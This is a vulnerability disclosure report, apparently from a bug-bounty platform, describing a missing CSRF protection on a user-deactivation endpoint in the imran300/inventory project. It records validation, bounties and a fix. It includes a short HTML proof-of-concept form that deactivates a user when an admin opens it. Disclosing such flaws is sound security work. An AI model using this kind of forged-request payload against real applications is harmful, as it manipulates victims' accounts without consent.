Cross-Site Request Forgery (CSRF) in imran300/inventory


Reported on

Sep 4th 2021

✍️ Description

You didn't set any CSRF protection for deactivating a user.

🕵️‍♂️ Proof of Concept

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/inventory/index.php/Users/deactiveStatus/7">
      <input type="submit" value="Submit request" />

After that admin open the PoC.html file the user with id 7 will be deactivated.

💥 Impact

This vulnerability is capable of deactivate any user with on click.


We have contacted a member of the imran300/inventory team and are waiting to hear back 2 years ago
Mian Muhammad Imran Shah validated this vulnerability 2 years ago
am0o0 has been awarded the disclosure bounty
The fix bounty is now up for grabs
Mian Muhammad Imran Shah marked this as fixed with commit 9809cc 2 years ago
Mian Muhammad Imran Shah has been awarded the fix bounty
to join this conversation